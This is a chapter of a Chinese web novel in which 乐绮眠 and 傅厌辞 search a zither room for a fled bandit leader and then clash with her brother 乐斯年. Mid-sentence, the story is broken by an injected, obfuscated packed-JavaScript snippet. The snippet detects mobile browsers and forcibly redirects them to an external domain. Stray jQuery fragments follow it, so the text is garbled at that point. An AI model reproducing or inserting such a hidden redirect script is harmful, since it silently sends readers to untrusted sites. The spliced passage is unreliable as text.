乐绮眠道:“当然!”
她遇到禅师时才多大,怎么可能有这种念头。
傅厌辞说:“对萧蟠?”
乐绮眠道:“……没有!”
傅厌辞似乎放了心,但问:“与魏安澜,也不会有?”
乐绮眠:“……”
这就问到了要害,她虽想哄住傅厌辞,但尚没有与魏家解除婚约的打算。然而实话实说,他只怕疯得更厉害。
乐绮眠道:“这个……”
傅厌辞的眼神极专注,锁定她不放。从进入琴室起,两人就没分开过,此时胸口相贴,也有种难言的缱绻,她仿佛被凶兽衔住了后颈,耳根又开始发烫。
就在她心一横,打算直言时,琴室发出响动,忽有御卫从门内奔出。
“殿下,”那人疾行几步,仓促道,“匪首打伤其余人,从窗口逃了!”
傅厌辞看向琴室,乐绮眠也转眸看去。几名御卫重伤倒地,禅师站过的地方空荡荡,旧琴也不知去向。
乐绮眠道:“去看看。”
她如蒙大赦,不由松了口气,但放开傅厌辞,走出几步,衣袖却被拉住,傅厌辞说:“他跑不远,搜山。”
御卫拱手:“是。”
等人走远,傅厌辞带着她返回琴室。那尊无面神像还在原地,乐绮眠四处搜寻一圈,没发现任何线索。
等她转回身,傅厌辞站在她身后,淡淡问:“你在找何物?”
乐绮眠道:“你还记得,我同你说过,我的羲和是一个故人所下,这个人,就是他。青鹿崖兴许有根除日月双毒的线索,你也派兵找一找。”
傅厌辞记得。但她说过,此人已死,是以他并未将两人联系在一起,现在听她说起,便知她撒了谎。
乐绮眠也想到此事,打哈哈道:“这个嘛......今日见到他前,我也无法确定。他逼我服下羲和时,我重伤了他,又将他关在一间屋舍,放火烧了它。谁知他死而复生,还当上了匪首?”
傅厌辞道:“你为何会认识此人?”
乐绮眠就知他会这么问,早有准备:“他曾是教导我箭术的师父,仅此而已。”
傅厌辞不信。
理智告诉他,两人只是师徒,但圣师看到她时,反应并不寻常。他相信直觉,今日没能扣下乐绮眠,那人一定还会找上她。
乐绮眠不知他所想,搜寻无果,便说:“殿下与账目失之交臂,打算如何做?”
傅厌辞定定看着她,探究的目光落在指尖,似乎想到什么,不答反问:“那首琴曲,你听过?”
乐绮眠一愣,笑道:“殿下发现了线索?”
圣师弹琴时,她的反应不像第一次听到这首曲子。结合手上的疤,很容易联想到她会弹琴,只是不知,她为何会因习琴将手弄成这样。
傅厌辞说:“只是觉得,他不会无故弹起琴曲。”
他也太敏锐了。
其实,在禅师弹起《聂政刺韩王》时,乐绮眠就有所预感:他早知她会上山,旧琴也是刻意摆在此地,为的就是放下钩子,引她追问当年之事。
但这么做,目的何在?
心绪飘远时,乐绮眠没察觉傅厌辞已来到半臂内,等她发现,他的呼吸落在颈后,除了高出的半头,两人在墙面的影子近似交叠。
乐绮眠用白纱挡在两人之间:“殿下,你该下山了。”
傅厌辞说:“那首琴曲,他是为你而弹。”
白纱挡不住他靠近的身躯,她伸手就能碰到他的刀柄。乐绮眠也不想,但身体有自己的念头,暗柜中的记忆重现,她又有种被他抱坐在腰间,顶开唇齿,往深里咽的错觉。
乐绮眠故作冷酷:“一首琴曲,也想让人上钩?他太高估自己,也太低估旁人。”
傅厌辞垂下眼帘,视线落在她指尖,好似无心地说:“琴曲不够,要如何,她才会上钩?”
乐绮眠的手缠在白纱上,感受到他的注视,她随意回答:“谁知道?兴许哪日她高兴,就咬钩了。”
傅厌辞还没忘记,她没回答是否与魏家退婚,如果她还有什么顾忌,也许因为他没有展现足够的诚意。
“若你要圣师的命,”隔着白纱,傅厌辞对他的诉求直言不讳,“和魏家退婚,我为你取来。”
又来了。
乐绮眠以为这个话题已经结束,不想他不达目的不罢休,心说:禅师的命,她要来有何用?这么简单粗暴的交换,也只有他能想到了!
刚这么想,她的手就被捉住了。
适才起,傅厌辞就摘掉了染血的手套。他的手筋骨修挺,被刺青覆盖,带着狰狞与堕落之感,和她白净的肌肤对比强烈,简直像侵占和搅缠着她的邪物。
乐绮眠骑虎难下,极想回到方才,拉住那个只图一时之快的自己!事到临头,只得说:“这里解释不清,先下山,我……”
“解释什么?”
一道身影走到门前,腰间挂着剑,抱臂而立,露出的指骨戴着银色护手。
乐斯年纳闷:“怎么我一会儿不在,山中多出一大帮人?”
乐绮眠立刻抬头,看到眼前人,双眸一亮:“你来了。”
她简直像看到救星,直欲上前,可没走出一步,就被扣住手腕,拉回原地。
白纱浮动,挡住两人交叠的手,傅厌辞拉着她在琴椅坐下,微微扬起眉,淡漠道:“等你来,人已经死了。”
这话带着敌意,让状况外的乐斯年皱起眉,才看到纱帘后还有一人。
这人和乐绮眠几乎贴到了一起,那张脸就算化成灰,他也不会认错。
“肃王殿下?”乐斯年的眼神陡然凌厉,按住腰间天祜,“你不在燕陵安享军功,却跟踪舍妹到青鹿崖?”
在他眼中,乐绮眠刚到青鹿崖,这人就出现在此,世上岂有如此巧合之事?只能是他狼子野心,有意追踪。
奉京被围时,他就干过这种事。他就说不能将望舒之血给他,如今果然被缠上!
乐绮眠听到“跟踪”二字,险些摔下琴椅,立即道:“你想到哪去了,他也是为匪首而来,你忘了那批粮是从闻家……”
“是又如何?”傅厌辞打断她,沉冷开口。
乐绮眠:“……”
他在说什么啊!
乐绮眠简直想抱头捂住耳朵,但更可怕的是,乐斯年信了,寒声道:“你果然狼心不死。三年前,舍妹就说不会随你去北苍,你屡番被拒绝,还没看清,她对你无意?”
提到三年前,傅厌辞的表情几乎瞬间冷下来。两人都知道,没有乐斯年,乐绮眠不会一心留在大梁,围城之役时,也是他百般阻挠。
他眼中没有兄妹之谊,只知道阻拦他带走乐绮眠之人,他一个也不想放过。
两人眼看要各自抽出刀剑,乐斯年带来的梁军也与御卫在门外对峙,乐绮眠忙说:“圣师还下落不明,难保他不会回攻,这里不宜久留,到山下再说!”
说完,她不断朝乐斯年使眼色,就差将“快走”二字写在脸上。
乐斯年看到她的反应,拧紧了眉。好在他理智尚存,心知硬碰硬双方都没好处,退让半步:“既如此,请御卫先行下山,我兄妹二人有要事相商,便不打扰殿下。”
可说完这句话,傅厌辞没有动身的意思,鹫纹刀出鞘寸许,充满威慑之意。
乐斯年不悦道:“肃王殿下何意?”
傅厌辞漠然地说:“先来后到,该下山的是——”
乐绮眠突然回握他的手,五指叩进他的指缝,亲密相贴。她的手柔软冰凉,傅厌辞剩下的话消弭无踪,琴室顿时陷入死寂。
“咳,”乐绮眠打破这尴尬的寂静,柔声道,“肃王为调查军粮案而来,意欲拿下匪首。多一人多一份助力,既然他有心,留下也无妨,你说是不是,兄长?”
她咬重了“兄长”二字,平日,她可从不会叫乐斯年兄长,也不会用这样婉柔的语调。
乐斯年霎时起了层鸡皮疙瘩,退后道:“留下便留下,但你离他远些,别忘了,他才想将你掳回北苍。”
乐绮眠当然记得,奈何有心无力。因为自握住傅厌辞起,他便以更紧的力道,回扣了她的手。
乐斯年走到神像前方,端详片刻,沉声说:“方才忘了说,我抓了堂中教众,结果净是新入教的百姓,对匪首一无所知。山中看似守卫森严,其实兵力不多,我怀疑,此地不是日月教总坛。”
乐绮眠正想将手抽走,闻言抬了头:“不是总坛?”
她被困在琴室的时间,乐斯年带兵上山,几乎未遇到阻碍,最大的障碍,还是闯入琴室前,挡在门前的御卫。
如果两人能如此轻易地拿下总坛,那剿匪军的将领,岂非都是草包?狡兔三窟,圣师必然去了其他据点,青鹿崖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15796669|167077||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只是个幌子。
乐绮眠一点就透,立刻猜到禅师的目的。
青鹿崖一见,果然是他有心设下的陷阱,否则无法解释,他会恰好出现在这处用作靶子的匪寨。只是那名教使横插一脚,打乱了他的计划。
乐绮眠说:“青鹿崖附近山势复杂,圣师跑不远。这些教众能联系到日月教,可以放走一批,你再顺藤摸瓜,查到其他据点。”
乐斯年也是这么想的,因此抓了这些人。如果教众恰好与圣师汇合,还能将人一网打尽。
“既然如此,”乐斯年不想错过时机,想到就做,“你先随卫士回营帐,我带兵去追,有消息,你再支会徐泰。”
但他正准备调拨兵马,傅厌辞冷不丁轻嘲:“武安侯之子,只有这点见地?”
乐斯年脚步一顿,刚被乐绮眠压下的火气,又有冒头的趋势,转过身,沉着脸道:“哦,肃王殿下有何高见?”
傅厌辞说:“既不是总坛,为何她上山时,匪首恰好在此?”
乐斯年不解其意,只觉他故意找茬,不耐道:“难道不是肃王殿下与匪首有约,恰好在青鹿崖会面?”
来的路上,他从教众口中得知,他与乐绮眠被困在斋堂时,圣师正在堂后会客。这山中除了教众,便是御卫,圣师会的是谁,昭然若揭。
但傅厌辞还没开口,乐绮眠说:“圣师见的客人,不是他。”
乐斯年不假思索:“他傍晚便上山了,在堂后待了近一炷香,不是与匪首会面,还能做什么?定是他骗了......”
乐绮眠笑着打断:“因为圣师会客时,他一直与我在琴室。”
乐斯年:“......”
乐斯年险些咬到舌:“你再说一遍?!”
他回忆自己说了什么,不错,一炷香......她与傅厌辞,在琴室待了一炷香?!
乐绮眠无辜地眨眨眼,诚恳解释:“没有一炷香,他比我早来许久。”
乐斯年看向二人的表情难以言喻,想到还在奉京的魏安澜,不由头疼。平复半晌,才上前几步,一招手:“随我走。”
傅厌辞说:“她会随我回泽州。”
乐斯年扭头,不客气道:“与匪首会面之人不是你又如何?肃王殿下不要忘了,这是大梁境内,你带兵擅闯,可曾将鄙国放在眼中?”
就像狼不会放弃猎杀的本能,他不相信,随意践踏协议之人,会打心眼里尊重一个弱国之女。
“匪首今日在此,是为将她扣下,”傅厌辞没绕弯子,直截了当地说,“一旦营中空虚,匪首就会带走她。”
这是他从圣师种种反应中得出的结论,话音落,乐绮眠果然看向他,有些惊奇地撩动眼睫。
以她对禅师的了解,这次没能得手,的确不会善罢甘休。只是他能看出禅师是为她而来,洞察力实在惊人了些。
乐斯年心知他说的有理,但笑一声,不以为然:“是又如何?乐某自会护舍妹周全,无需肃王殿下多言。”
说着,他就要拉过乐绮眠,傅厌辞幽然道:“你护不住她。方才,我晚来一步,她已被匪首劫走。那时,你在何处?”
这话近乎贴脸嘲讽,乐斯年攥紧了剑,额上青筋浮动。
其实,魏安澜多次置兄妹二人于险境,他对此人并无好感,但对方至少会做表面功夫。而傅厌辞,行事无忌,言辞刻薄,乐绮眠是眼瘸到何种地步,才会看上此人!
乐斯年忍着怒意,尽量放平语气:“你打算如何?”
乐绮眠看出乐斯年有气,也知傅厌辞是对旧事耿耿于怀,才处处针对他。
坦白地说,她其实想见禅师一面,但此事不好在傅厌辞面前提起,思考片刻,还是说:“军营守卫众多,待在帐中很安全,你可以放心追踪。”
话未落,傅厌辞便转向她。乐绮眠顶着他危险的目光,解释道:“进攻才是最好的防御,与其担心圣师何时会来,不如一劳永逸。”
但再要说,傅厌辞沉着眸光,不容反驳地打断:“剿灭匪兵前,我不会将你留在岑州。”
他态度强硬,不给乐绮眠拒绝的余地。乐斯年一听,又面露不快,正要说点什么,傅厌辞冷峻的眉峰忽抬,仿佛被踩中尾巴的豹,脊背突然僵在原地。
“哎呀,”乐绮眠若无其事地收回脚,抬眼看向二人,分外诚挚,“踩到血污了,好了,你们继续。”